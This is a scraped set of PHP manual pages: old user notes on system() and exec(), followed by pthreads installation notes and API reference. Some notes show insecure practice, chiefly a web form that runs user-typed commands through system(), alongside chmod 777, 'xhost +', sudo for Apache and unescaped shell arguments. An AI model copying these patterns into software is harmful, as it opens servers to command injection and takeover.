Note that for stderr redirection, you have to use double quotes (") not single quotes (') for the 2>&1 part at least.

<?
//e.g. the this will NOT do what you expect:
exec('mysqldump -h localhost ...... 2>&1', $output);

//but this will:
exec("mysqldump -h localhost ...... 2>&1", $output);
?>

*sigh*

(Sounds like a PHP bug to me..., or at least buggy docs!)
phil at pjhayward.net 26-Apr-2005 10:37
On Windows XP, (possibly others)

If you are getting the unable to fork error, make sure the internet guest user has permission to read and execute the \Windows\System32\cmd.exe file.
admin at nabeelakhtar dot net 24-Apr-2005 04:13
Windows XP (IIS) users: (Unable to fork Problem)

If you receive something like:
Warning:  passthru() [function.passthru]: Unable to fork [dir] in c:\Inetpub\wwwroot\ping.php on line X

1. Copy CMD.EXE file from the Windows\System32\ folder to your PHP directory (c:\PHP\).

This should fix the problem.
Shai Coleman 09-Dec-2004 01:11
The easiest way to run a process in the background under Windows, is to use system() with the bgrun.exe utility, available from http://www.jukkis.net/bgrun/
roga at yoopee dot de 24-Sep-2004 06:58
In combination with Zend Optimizer and Windows 2K/XP some programs may not run with system(), exec(), etc.

I tried to use a small tool for ejecting the cd tray and it did just nothing. Disabling Zend Optimizer solved it.
srawlinNOSPAM at magma dot ca 04-Sep-2004 10:29
If you are running PHP in a chroot environment then the system (and passthru) function needs /bin/sh to be located in the chroot as well.
eric_REMOVE at movementmovement_REMOVE dot com 21-May-2004 09:56
It's important to note that if you are running a series of system() commands in a loop, you need to include the second argument in order for them to run synchonously.

ie)

// this will execute process.php asynchronously; not waiting for completion before executing the next one.
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"");
}

// this will execute process.php 3 times, waiting for the prior command to complete before starting a new one
$array = array('apple', 'banana', 'pear');
foreach($array as $i)
{
system("php process.php \"fruit=$i\"", $status);
}
beetung at yahoo dot com 08-Mar-2004 10:34
Under Linux
exec() doesnt follow symbolic link when interpret by httpd...

I have my /home/www/cgi-bin --> soft linked to a samba mounted directory under /mnt/Downloads/www.site.com/cgi-bin

exec("/home/www/cgi-bin/runProg $a $b");

works ok when I execute the script using > php myscript.php but fails to show the output when run via the web browser.

When I give it the exact full path without the symbolic link

exec("/mnt/Downloads/www.site.com/cgi-bin/runProg $a $b");

everything works perfectly.
mortoray at ecircle-ag dot com 04-Mar-2004 12:55
Do not use "system" if you use the "php.ini" option:
    zlib.output_compression = On

Doing so will result in the browser receiving garbage (I'm guessing the headers/buffers get confused).

Use passthru in this case, it appears to work as intended.
tr4nc3 at msn dot com 22-Feb-2004 11:42
I almost gave up trying to get Windows XP w/ Apache 2 to use either system(), or exec() to run a batch file.

If the batch file was this...

echo test > test.txt

it would work fine, creating test.txt...

but if the batch file was..

iexplore.exe "http://www.ibm.com"

I would get nothing. After hours and hours of messing around with this I figured it must be some type of permission problem. (dugh!)

Long story a little shorter.. You have to give Apache permission to "interact with the desktop".

Here's how...

Start>Run>services.msc
Right click "Apache...", select properties.
Click on the "LOG ON" tab
Check the box "Allow this service to interact with desktop"
Click OK
Restart Apache

Works great!
:D

HOPE THIS HELPS SOMEONE!
Too bad I didn't find a post like this before I figured it out myself. (I could have been working on something.)
djem at shadrinsk dot net 17-Feb-2004 02:04
BUGFIX for the mysystem() function, posted by n-jones.

<?php
function syscall($command){
    if ($proc = popen("($command)2>&1","r")){
        while (!feof($proc)) $result .= fgets($proc, 1000);
        pclose($proc);
        return $result;
        }
    }
?>

Hello from Russia! :)
djem.
diogaogv at icqmail dot com 29-Nov-2003 01:57
a really useful use for import(); while running the server at ur own machine is taking a screenshot of you desktop and showing it to the guest !!!

<?
echo system("/usr/X11R6/bin/import -window root -display localhost:0 /mnt/d/Desenvolvimento/Desenvolvimento\ WWW/import/cache/imagem.jpg -quality 30" ." 2>&1");
?>
<img src="cache/imagem.jpg">

remember to set chmod 777 to your directory (called "cache" on my code). also do "xhost +" or you r gonna get a xlib error saying that it could not connect to x server at localhost...

the code is still too simple. i've just done it. e.g. you can improve a real cache system avoying more than one screenshot in a minute while...

that is it! hope u enjoy it ( rofl... =DDD ) ...

diogo86
tomlubbock at hotmail dot com 03-Nov-2003 03:07
If you need to run root-level commands, such as to reboot a service, the utility 'sudo' will let you handle linux permissions. In our example we use 'sudo' to allow apache temporary root access to restart a service. We can then use:

system("sudo service dhcpd restart")

You also need to examine the /etc/sudoers file to specify what permissions to grant. Hope this helps someone!
morris_hirsch at hotmail dot com 16-Sep-2003 11:49
another reason to use shell_exec instead of system is when the result is multiple lines such as grep or ls

<?php

// this correctly sets answer string to all lines found
//$answer = shell_exec ("grep 'set of color names' *.php ");
//echo "answer = $answer";

// this passes all lines to output (they  show on page)
// and sets answer string to the final line
 $sys = system ("grep 'set of color names' *.php ");
 echo "sys =(($sys))";

?>

here is view/source resulting from system call

setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  //$answer = shell_exec ("grep 'set of color names' *.php ");
silly.php: $sys = system ("grep 'set of color names' *.php ");
sys =((silly.php: $sys = system ("grep 'set of color names' *.php ");))

and here is view source from using shell_exec instead

answer = setprefs.php:// The standard set of color names is:
setprefs.php:// Most browsers accept a wider set of color names
silly.php:  $answer = shell_exec ("grep 'set of color names' *.php ");
silly.php:// $sys = system ("grep 'set of color names' *.php ");
lc at _REMOVE__THIS_lc dot yi dot org 10-Sep-2003 02:24
Re: cpmorris at hotmail dot com and WINNT.

I just spent some time learning to use the php system function.  I managed to get long file names to work for me.  It seems you need to take the same approach that batch files, WSH, and most other programming languages do under WinNT/2K/XP.  Putting double quotes around the Path+Filename seems to work.  So, something like this should have worked for you:

"c:\program files\apache group\apache2\bin\htpasswd"

Note that if you have parameters, they go OUTSIDE of the last quote.  Oh, and don't forget to escape the slashes and quotes!

I don't know what htpasswd's params are, but let us pretend:

$cmd="\"c:\\program files\\apache group\\apache2\\bin\\htpasswd\" username password";
$str=system($cmd);

Hope this helps someone!

Leonard
http:\\www.lc.yi.org
Jim Belton 26-Aug-2003 10:58
To run a full screen program from a PHP CLI script, redirect input from and output to /dev/tty.  For example:

system("timeconfig > /dev/tty < /dev/tty");

System will wait for the program to finish before continuing.
chris at karakas-online dot de 02-Jul-2003 03:52
If your PHP installation permits execution of commands through system() (e.g. you are not running in safe mode, or, if you are, safe_mode_exec_dir contains all the commands you need), you can trigger a backup of your MySQL database, just by pointing your browser to the following script:

<?php
  // Enter your MySQL access data
  $host= 'dbhost';
  $user= 'dbuser';
  $pass= 'dbpassword';
  $db=   'db';

  $backupdir = 'backups';

  // Compute day, month, year, hour and min.
  $today = getdate();
  $day = $today[mday];
  if ($day < 10) {
      $day = "0$day";
  }
  $month = $today[mon];
  if ($month < 10) {
      $month = "0$month";
  }
  $year = $today[year];
  $hour = $today[hours];
  $min = $today[minutes];
  $sec = "00";

  // Execute mysqldump command.
  // It will produce a file named $db-$year$month$day-$hour$min.gz
  // under $DOCUMENT_ROOT/$backupdir
  system(sprintf(
    'mysqldump --opt -h %s -u %s -p%s %s | gzip > %s/%s/%s-%s%s%s-%s%s.gz',
    $host,
    $user,
    $pass,
    $db,
    getenv('DOCUMENT_ROOT'),
    $backupdir,
    $db,
    $year,
    $month,
    $day,
    $hour,
    $min
  ));
  echo '+DONE';
?>

If you are not allowed cron access on the web server, you can set up your own cron job to periodically call the above script. If you don't have cron, or a similar functionality on your system, you can still modify the above script to inform the browser to reget the file every xxx hours. A poor man's cron, so to say ;-)

Of course, the $backupdir should at least be protected with a .htaccess file.

And of course, you are not going to backup a really large database this way, if your PHP has some timeout set (as is usually the case with web hosters).
d dot kraft at szo dot de 10-Mar-2003 11:18
For PHP running inside a Webserver:

When calling a process via
system("your_process &");
to make it running in background, note that this process is killed when the webserver is restarted.
cnoelker at softpearls dot de 05-Mar-2003 03:13
Hi,
some tips for using a system()-call for batch files on a windows computer:
* Write the path to the executable with double back-slashes, like so:
   C:\\path\\to\\prog.exe
* If you are refering to other pathes, e.g. as a parameter, one back-slash works fine.
* Do not use SET for declaring parameters - this does not work! Example:
   SET PATH="C:\path\to\lib"
   echo path is %PATH%
This works fine when started from the comand line, but when called from PHP, the variable is just empty.
user at unknown dot com 15-Jan-2003 11:07
a simple way to include a beep on the server-side whenever a page in viewed.
**contents of 'beeping' page**
require ("beep.php")

**contents of beep.php**
<?php
system ("/home/site/exe/beep.executable");
// on windows system ("c:\beep.exe");
?>
n-jones at fredesign dot net 05-Aug-2002 12:08
To have system output from both the STDERR and STDOUT, I've modified the function posted above by lowery@craiglowery.com

function mysystem($command) {
  if (!($p=popen("($command)2>&1","r"))) {
    return 126;
  }

  while (!feof($p)) {
    $line=fgets($p,1000);
    $out .= $line;
  }
  pclose($p);
  return $out;
}

Now you can use mysystem() like;

$var = "cat ".$file;
echo mysystem($var);

$catfile = mysystem($var);

if (ereg("text", $catfile)) {
  //stuff here;
}

N.Jones
a dot paul at bernardlabs dot com 21-Jul-2002 01:42
Well system is a pretty interesting and useful function.

This might have been already pointed out by predessors but anyways, for anyone looking to execute command line queries from php or scripts in general, this function does the trick.

However while using the command, you have to always think in terms of the command you are using as the function and the parameters as the arguments.

So say I want to do a 'ls -ls' on /home/sites/sitexyz/www/$username

I could do a

system("ls -la \"/home/sites/sitexyz/www/$username\" ");

Its important to think of this as passing      /home/sites/sitexyz/www/$username     as an argument to the function ls -la .

Similarly, you could do a

system("cp -r \"/home/sites/sitexyz/www/$username\"  \"/home/sites/sitexyz/www/$username2\" ");

But you then need to use 'chmod -R 777 to the directory you want to copy it to, which can be done by a

system("chmod -R 777   \"/home/sites/sitexyz/www/$username2\" ");

Now you can execute all the terminal commans via the php, however do realise the security concerns of using the same, especially when the operation is going to preceeded by some user input, so, you need to make sure you filter the inputs, or better not allow user intervention.
roger at proproject dot com 13-May-2002 07:35
For your in-house pages, I recommend redirecting stderr to stdout so you'll know if something goes wrong.  Here's a real-life example:

system("/mysql_reboot 2>&1");
james at jsrobertson dot net 26-Mar-2002 08:48
I've found a very useful technique for the system function. Say if you want to create a page of quotes and you have /usr/games/fortune available. Instead of spending time creating a database and populating it with thousands of quotes, you can just use:

<?php
system('/usr/games/fortune');
?>

likewise if you want to list the files in your directory, say for example, Mp3's?

<?php
system('ls /home/mp3 -l');
?>

basically

<?php
system('any_command');
?>
z1a7n8g at / at a<o<l dot c<o<m 21-Mar-2002 05:22
I am currently using a form driven administration
page to start an ftp server remotely from a web page in FreeBSD 4.5 using PHP 4.1.2 & apache 1.3.23. (Sorry guys, no CVS!!)
This code will emulate a CLI command from your browser (anywhere!!) and execute it if your PHP module/binary has the correct permissions...
<code><pre>
//your front end
<form ..your form stuff here...>
<input type="text" name=command>
<your additional form stuff>
///the gutz
<?
 $arg=explode( " ", $command, 4 )
     if ($arg[0] = "system")
       {
 system($arg[1] . " " . $arg[2] . " " . $arg[3]..etc);
            }?>
</code></pre>
This works, however it is simple and lacks any error output.
try:
<pre><code>
 <?system(command > /path/to/yourfile.php);
     $fPtr=@fopen("yourfile.php",r);
     $line=fgets($fPtr,filesize("yourfile.php");
        while ($line)
  {
        $formatted_line=ereg_replace("your favorite newline semantic","<BR>",$line);
        print $formatted_line;
                                     }

 ?>
</pre></code>
Keep in mind the SECURITY implications with the use of this and like scripts. You've been warned.
tk at taponet dot de 20-Feb-2002 04:17
Beware:
if (! system($cmd)) {
  print "error";
}

does not work!
Use
if (system($cmd) === false) {
...}

instead!
ryan at seattleone dot com 30-Aug-2001 02:36
I was trying to use the system command, and I couldnt get it to work, then it occured to me, send the stderr to a file to see what is really happening.

system( $command . " &> /tmp/error " );
nospam at php dot net 24-Jul-2000 02:57
If you are trying to parse a CGI script to your webserver which needs arguments, take a look to the virtual() function .. it took me long before i found out it existed...
It's used like this:
<?php
virtual("/cgi-bin/lastuser.cgi?argument");
?>
And that works excellent now for me
digitalturbulence at softhome dot net 09-Jul-2000 09:04
If the command printf("%s",system($cmd)); doesn't work, check the httpd.error_log file in your /var/log directory. At my home, the system command can just load binary files in the directory /usr/lib/apache/bin
Stephan.
ccurtis at aet-usa dot com 14-Jun-1999 08:07
If no headers have been printed, calling the system() function will flush the headers to the client and insert a newline; no further headers or cookies will be transferred to the browser.  In version 3.0.7, you will not be warned that the Header() function failed, but will be warned if trying to set a cookie.  If you want to continue to send headers after the function call, use exec() instead.


pthreads

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Threaded — The Threaded class
    • Threaded::chunk — Manipulation
    • Threaded::count — Manipulation
    • Threaded::extend — Runtime Manipulation
    • Threaded::from — Creation
    • Threaded::getTerminationInfo — Error Detection
    • Threaded::isRunning — State Detection
    • Threaded::isTerminated — State Detection
    • Threaded::isWaiting — State Detection
    • Threaded::lock — Synchronization
    • Threaded::merge — Manipulation
    • Threaded::notify — Synchronization
    • Threaded::pop — Manipulation
    • Threaded::run — Execution
    • Threaded::shift — Manipulation
    • Threaded::synchronized — Synchronization
    • Threaded::unlock — Synchronization
    • Threaded::wait — Synchronization
  • Thread — The Thread class
    • Thread::detach — Execution
    • Thread::getCreatorId — Identification
    • Thread::getCurrentThread — Identification
    • Thread::getCurrentThreadId — Identification
    • Thread::getThreadId — Identification
    • Thread::globally — Execution
    • Thread::isJoined — State Detection
    • Thread::isStarted — State Detection
    • Thread::join — Synchronization
    • Thread::kill — Execution
    • Thread::start — Execution
  • Worker — The Worker class
    • Worker::getStacked — Stack Analysis
    • Worker::isShutdown — State Detection
    • Worker::isWorking — State Detection
    • Worker::shutdown — Synchronization
    • Worker::stack — Stacking
    • Worker::unstack — Stacking
  • Collectable — The Collectable class
    • Collectable::isGarbage — Determine whether an object has been marked as garbage
    • Collectable::setGarbage — Mark an object as garbage
  • Modifiers — Method Modifiers
  • Pool — The Pool class
    • Pool::collect — Collect references to completed tasks
    • Pool::__construct — Creates a new Pool of Workers
    • Pool::resize — Resize the Pool
    • Pool::shutdown — Shutdown all Workers
    • Pool::submit — Submits an object for execution
    • Pool::submitTo — Submits an object for execution
  • Mutex — The Mutex class
    • Mutex::create — Create a Mutex
    • Mutex::destroy — Destroy Mutex
    • Mutex::lock — Acquire Mutex
    • Mutex::trylock — Attempt to Acquire Mutex
    • Mutex::unlock — Release Mutex
  • Cond — The Cond class
    • Cond::broadcast — Broadcast a Condition
    • Cond::create — Create a Condition
    • Cond::destroy — Destroy a Condition
    • Cond::signal — Signal a Condition
    • Cond::wait — Wait for Condition

User Contributed Notes

admin at deosnet dot com 19-Aug-2014 07:01
Hello,

WARNING : When using Stackable objects in callable functions by your Threads, you must be very careful if you use it as an array. Indeed, if you do not copy your Stackable "array" in a local variable, the execution time can drop drastically !

Also, if you want to modify an array() in a function, you will also store in a local variable in order that your array is in a thread-safe context.
jasonrlester at yahoo dot com 23-Feb-2014 09:08
Note that this extension *is* a high level implementation of POSIX threads, including on Windows (which is why pthreadsV*.dll is required)
Anonymous 08-Feb-2014 08:04
This seriously should be renamed. People will interpret this as the widely known POSIX threads, which it's not. Just a heads up for anyone wanting to use "pthreads".


Introduction

pthreads is an Object Orientated API that allows user-land multi-threading in PHP. It includes all the tools you need to create multi-threaded applications targeted at the Web or the Console. PHP applications can create, read, write, execute and synchronize with Threads, Workers and Threaded objects.

A Threaded Object: A Threaded Object forms the basis of the functionality that allows pthreads to operate. It exposes synchronization methods and some useful interfaces for the programmer.

A Thread: The user can implement a Thread by extending the Thread declaration provided by pthreads implementing the run method. Any members can be written and read by any context with a reference to the Thread, any context can also execute any public and protected methods. The run method of the implementation is executed in a separate thread when the start method of the implementation is called from the context ( that's Thread or Process ) that created it. Only the context that creates a thread can start and join with it.

A Worker Object: A Worker Thread has a persistent state, and will be available from the call to start until the object goes out of scope, or is explicitly shutdown. Any context with a reference can stack objects onto the Worker, which will be executed by the Worker in a separate Thread. The run method of a Worker is executed before any objects on the stack, such that it can initialize resources that the objects to come may need.

A Pool: A Pool of Worker threads can be used to distribute Threaded objects among Workers. The Pool class included implements this functionality and takes care of referencing in a sane manner. Introduced in v1.0.0, the Pool implementation is the easiest and most efficient way of using multiple threads.

Caution

Pool is a normal PHP object, and so instances should not be shared among contexts.

Synchronization: All of the objects that pthreads creates have built in synchronization in the ( familiar to java programmers ) form of ::wait and ::notify. Calling ::wait on an object will cause the context to wait for another context to call ::notify on the same object. This allows for powerful synchronization between Threaded Objects in PHP.

Caution

Any objects that are intended for use in the multi-threaded parts of your application should extend Threaded.

Method Modifiers: The protected methods of Threaded Objects are protected by pthreads, such that only one context may call that method at a time. The private methods of Threaded Objects can only be called from within the Threaded Object during execution.

Data Storage: As a rule of thumb, any data type that can be serialized can be used as a member of a Threaded object, it can be read and written from any context with a reference to the Threaded Object. Not every type of data is stored serially, basic types are stored in their true form. Complex types, Arrays, and Objects that are not Threaded are stored serially; they can be read and written to the Threaded Object from any context with a reference. With the exception of Threaded Objects any reference used to set a member of a Threaded Object is separated from the reference in the Threaded Object; the same data can be read directly from the Threaded Object at any time by any context with a reference to the Threaded Object.

Static Members: When a new context is created ( Thread or Worker ), only the simple members of static classes are copied, no resources, objects or arrays are copied into the threading context from static class members. This allows them to function as a kind of thread local storage. For example, upon starting the context, a class whose static members include connection information for a database server, and the connection itself, will only have the simple connection information copied, not the connection. Allowing the new context to initiate a connection in the same way as the context that created it, storing the connection in the same place without affecting the original context.

Caution

When print_r, var_dump and other object debug functions are executed, they do not include recursion protection.

Note:

Resources: The extensions and functionality that define resources in PHP are completely unprepared for this kind of environment; pthreads makes provisions for Resources to be shared among contexts, however, for most types of resource it should be considered unsafe. Extreme caution and care should be used when sharing resources among contexts.

Caution

In the environment which pthreads executes, some restrictions and limitations are necessary in order to provide a stable environment.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

pthreads requires a build of PHP with ZTS (Zend Thread Safety) enabled ( --enable-maintainer-zts or --enable-zts on Windows )

Caution

Zend Thread Safety cannot be enabled post build; it is a build time configuration option.

pthreads should build anywhere there is a working Posix Threads header (pthread.h) and ZTS build of PHP, including Windows (using the pthread-w32 project from redhat).

User Contributed Notes

There are no user contributed notes for this page.


Installation

pthreads releases are hosted by PECL and the source code by » github, the easiest route to installation is the normal PECL route: » http://pecl.php.net/package/pthreads.

Windows users can download prebuilt release binaries from the » PECL website.

Caution

Windows users need to take the additional step of adding pthreadVC2.dll (distributed with Windows releases) to their PATH.

User Contributed Notes

zahid dot smz at gmail dot com 12-May-2014 04:43
For Wampp (Windows)
-----------------------------------------------------------------------------------
1.  Find out what is your 'PHP Extension Build' version by using phpinfo(). You can use this - http://localhost/?phpinfo=1

2.  Download the pthreads that matches your php version (32 bit or 64 bit) and php extension build (currently used VC11). Use this link for download - http://windows.php.net/downloads/pecl/releases/pthreads/

3.  Extract the zip -
      Move php_pthreads.dll to the 'bin\php\ext\' directory.
      Move pthreadVC2.dll to the 'bin\php\' directory.
      Move pthreadVC2.dll to the 'bin\apache\bin' directory.
      Move pthreadVC2.dll to the 'C:\windows\system32' directory.

4.  Open php\php.ini and add
      extension=php_pthreads.dll

Now restart server and you are done. Thanks.
logi89in at gmail dot com 21-Apr-2014 03:21
I have included the PThread library dll in PHP 5.3 directory.
And i also add an extension in my php.ini file.

But when i write a simple program. PHP process gets killed when creating a Thread class.

Can anyone guide me?
Pedro Proenca 12-Apr-2014 08:22
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
pedro dot proenca at shapedfor dot me 12-Apr-2014 08:21
I haven't found any proper instructions on how to install pthreads in linux, so I'll leave the steps I followed:

# Required libraries
sudo apt-get install gcc make libzzip-dev libreadline-dev libxml2-dev \
libssl-dev libmcrypt-dev libcurl4-openssl-dev lib32bz2-dev

# Download PHP
cd /usr/local/src

wget http://www.php.net/distributions/php-<version>.tar.gz
( e.g. wget http://www.php.net/distributions/php-5.5.8.tar.gz )

# Extract
tar zxvf php-<version>.tar.gz
(e.g. tar zxvf php-5.5.8.tar.gz )

# Configure
cd /usr/local/src/php-<version>
( e.g. cd /usr/local/src/php-5.5.8 )

./configure --prefix=/usr --with-config-file-path=/etc --enable-maintainer-zts

# Compile
make && make install
( make -j3 && make -j3 install) -> Faster building

# Copy configuration
cp php.ini-development /etc/php.ini

# Install pthreads
pecl install pthreads
echo "extension=pthreads.so" >> /etc/php.ini

# Check installation
php -m | grep pthreads
rbfowler9lfc at hotmail dot com 19-Aug-2013 11:32
For those using XAMPP or other apache-php bundles, it's necessary to add LoadFile "C:/xampp/php/pthreadVC2.dll" to httpd-xampp.conf if you want to utilize pthreads in a browser window.
matias dot zumbo at gmail dot com 31-Jul-2013 08:54
HOW TO INSTALL IN LINUX SYSTEM'S:
------------------------------------

1) Download PHP sources and Unpack PHP

2) Download PEAR
     wget http://pear.php.net/go-pear.phar
     php go-pear.phar

3) Download pthreads
Get PECL extension (PECL is a repository for PHP Extensions)

# pecl install pthread-0.4.4

4) Unpack pthreads
copy pthread-0.4.4  to  php/ext
(for ./configure allow  add option --enable-pthreads)

# mv build/php-src-master/ext/pthreads-master    build/php-src-master/ext/pthreads

5)  Reconfigure sources
# ./buildconf --force
# ./configure --help | grep pthreads

You should see the appropriate --enable-pthreads option listed as a result, if you do not, then

# rm -rf aclocal.m4
# rm -rf autom4te.cache/
# ./buildconf --force

6) Build PHP
Compile PHP source code
Add:
# ./configure --enable-debug --enable-maintainer-zts --enable-pthreads

7) Installing PHP
# make
# sudo make install

8) Update php.ini
Add in php.ini
extension=pthreads.so
Include_path = “/usr/local/lib/php”

9) Check Modules
php -m (check pthread loaded)

10) Test Thread Class
# php SimpleTest.php
jason at jason-rush dot com 28-Jun-2013 05:54
The files are in the format:
php_pthreads-X.XX-Y.Y-ts-vcZZ-x86.zip

where
X.XX is the version of the phpthreads-win32
Y.Y is the base version of PHP that you are running
ZZ is ?? (version of compiler?)

Currently, 0.44 is the latest release of phpthreads-win32, so X.XX = 0.44
If you are running PHP 5.3.13, then Y.Y = 5.3
If you are running PHP 5.5.0, then Y.Y=5.5
etc

php_pthreads-0.44-5.3-ts-vc9-x86.zip
php_pthreads-0.44-5.4-ts-vc9-x86.zip
php_pthreads-0.44-5.5-ts-vc11-x64.zip
php_pthreads-0.44-5.5-ts-vc11-x86.zip
Prerna 06-Jun-2013 03:57
Hi Jimmy Christensen,

As per the above guidelines, I tried the same procedure on my windows system ( 32 bit ) to install pThreads.
But unfortunately, the threads is still not supported.

Is there any other configuration / requirement to get it installed. My system PHP version is 5.3.13. So i downloaded the package "php_pthreads-0.44-5.4-ts-vc9-x86.zip" from http://windows.php.net/downloads/pecl/releases/pthreads/0.44/ .

Please let me know where i am going wrong?

Thanks in advance.
Jimmy Christensen 16-May-2013 05:55
On Windows the installation is as follows:

Download the pthreads that matches your php version.
I found mine at: http://windows.php.net/downloads/pecl/releases/pthreads/
(I used version 0.44 wich is the newest at the time of writing this, and then downloaded the one for php 5.3 which is the version I am using).

Extract the zip.
Move php_pthreads.dll to the php\ext\ directory.
Move pthreadVC2.dll to the php\ directory.

Open php\php.ini and add
extension=php_pthreads.dll

You are done.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PTHREADS_INHERIT_ALL (integer)
The default options for all Threads, causes pthreads to copy the environment when new Threads are started
PTHREADS_INHERIT_NONE (integer)
Do not inherit anything when new Threads are started
PTHREADS_INHERIT_INI (integer)
Inherit INI entries when new Threads are started
PTHREADS_INHERIT_CONSTANTS (integer)
Inherit user declared constants when new Threads are started
PTHREADS_INHERIT_CLASSES (integer)
Inherit user declared classes when new Threads are started
PTHREADS_INHERIT_FUNCTIONS (integer)
Inherit user declared functions when new Threads are started
PTHREADS_INHERIT_INCLUDES (integer)
Inherit included file information when new Threads are started
PTHREADS_INHERIT_COMMENTS (integer)
Inherit all comments when new Threads are started
PTHREADS_ALLOW_HEADERS (integer)
Allow new Threads to send headers to standard output (normally prohibited)

User Contributed Notes

There are no user contributed notes for this page.


The Threaded class

(PECL pthreads >= 2.0.0)

Introduction

Threaded objects form the basis of pthreads ability to execute user code asynchronously; they expose and include synchronization methods and various useful interfaces.

Threaded objects, most importantly, provide implicit safety for the programmer; all operations on the object scope are safe.

Class synopsis

Threaded implements Traversable , Countable , ArrayAccess {
/* Methods */
public array chunk ( integer $size , boolean $preserve )
public integer count ( void )
public bool extend ( string $class )
public Threaded from ( Closure $run [, Closure $construct [, array $args ]] )
public array getTerminationInfo ( void )
public boolean isRunning ( void )
public boolean isTerminated ( void )
public boolean isWaiting ( void )
public boolean lock ( void )
public boolean merge ( mixed $from [, mixed $overwrite ] )
public boolean notify ( void )
public boolean pop ( void )
public void run ( void )
public mixed shift ( void )
public mixed synchronized ( Closure $block [, mixed $... ] )
public boolean unlock ( void )
public boolean wait ([ integer $timeout ] )
}

Table of Contents

  • Threaded::chunk — Manipulation
  • Threaded::count — Manipulation
  • Threaded::extend — Runtime Manipulation
  • Threaded::from — Creation
  • Threaded::getTerminationInfo — Error Detection
  • Threaded::isRunning — State Detection
  • Threaded::isTerminated — State Detection
  • Threaded::isWaiting — State Detection
  • Threaded::lock — Synchronization
  • Threaded::merge — Manipulation
  • Threaded::notify — Synchronization
  • Threaded::pop — Manipulation
  • Threaded::run — Execution
  • Threaded::shift — Manipulation
  • Threaded::synchronized — Synchronization
  • Threaded::unlock — Synchronization
  • Threaded::wait — Synchronization

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • « Threaded
  • Threaded::count »
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::chunk

(PECL pthreads >= 2.0.0)

Threaded::chunk — Manipulation

Description

public array Threaded::chunk ( integer $size , boolean $preserve )

Fetches a chunk of the objects property table of the given size, optionally preserving keys

Parameters

size

The number of items to fetch

preserve

Preserve the keys of members, by default false

Return Values

An array of items from the objects property table

Examples

Example #1 Fetch a chunk of the property table

<?php
$safe = new Threaded();

while (count($safe) < 10) {
    $safe[] = count($safe);
}

var_dump($safe->chunk(5));
?>

The above example will output:

array(5) {
  [0]=>
  int(0)
  [1]=>
  int(1)
  [2]=>
  int(2)
  [3]=>
  int(3)
  [4]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


Manipulation

  • « Threaded::chunk
  • Threaded::extend »
  • PHP Manual
  • Threaded
  • Manipulation

Threaded::count

(PECL pthreads >= 2.0.0)

Threaded::count — Manipulation

Description

public integer Threaded::count ( void )

Returns the number of properties for this object

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Counting the properties of an object

<?php
$safe = new Threaded();

while (count($safe) < 10) {
    $safe[] = count($safe);
}

var_dump(count($safe));
?>

The above example will output:

int(10)

User Contributed Notes

There are no user contributed notes for this page.


Runtime Manipulation

  • « Threaded::count
  • Threaded::from »
  • PHP Manual
  • Threaded
  • Runtime Manipulation

Threaded::extend

(PECL pthreads >= 2.0.8)

Threaded::extend — Runtime Manipulation

Description

public bool Threaded::extend ( string $class )

Makes thread safe standard class at runtime

Parameters

class

The class to extend

Return Values

A boolean indication of success

Examples

Example #1 Runtime inheritance

<?php
class My {}

Threaded::extend(My::class);

$my = new My();

var_dump($my instanceof Threaded);
?>

The above example will output:

bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Creation

  • « Threaded::extend
  • Threaded::getTerminationInfo »
  • PHP Manual
  • Threaded
  • Creation

Threaded::from

(PECL pthreads >= 2.0.9)

Threaded::from — Creation

Description

public Threaded Threaded::from ( Closure $run [, Closure $construct [, array $args ]] )

Creates an anonymous Threaded object from closures

Parameters

run

The closure to use for ::run

construct

The constructor to use for anonymous object

args

The arguments to pass to constructor

Return Values

A new anonymous Threaded object

Examples

Example #1 Thread safe objects from closures

<?php
$pool = new Pool(4);
$pool->submit(Collectable::from(function(){
    echo "Hello World";
    $this->setGarbage();
}));
/* ... */
$pool->shutdown();
?>

The above example will output:

Hello World

User Contributed Notes

There are no user contributed notes for this page.


Error Detection

  • « Threaded::from
  • Threaded::isRunning »
  • PHP Manual
  • Threaded
  • Error Detection

Threaded::getTerminationInfo

(PECL pthreads >= 2.0.0)

Threaded::getTerminationInfo — Error Detection

Description

public array Threaded::getTerminationInfo ( void )

Retrieves terminal error information from the referenced object

Parameters

This function has no parameters.

Return Values

array containing the termination conditions of the referenced object

Examples

Example #1 Detecting fatal errors in Threads

<?php
class My extends Thread {
    public function run() {
        @not_found();
    }
}

$my = new My();
$my->start();
$my->join();

var_dump($my->isTerminated(), $my->getTerminationInfo());
?>

The above example will output:

bool(true)
array(4) {
  ["scope"]=>
  string(2) "My"
  ["function"]=>
  string(3) "run"
  ["file"]=>
  string(29) "/usr/src/pthreads/sandbox.php"
  ["line"]=>
  int(4)
}

User Contributed Notes

There are no user contributed notes for this page.


State Detection

  • « Threaded::getTerminationInfo
  • Threaded::isTerminated »
  • PHP Manual
  • Threaded
  • State Detection

Threaded::isRunning

(PECL pthreads >= 2.0.0)

Threaded::isRunning — State Detection

Description

public boolean Threaded::isRunning ( void )

Tell if the referenced object is executing

Parameters

This function has no parameters.

Return Values

A boolean indication of state

Note:

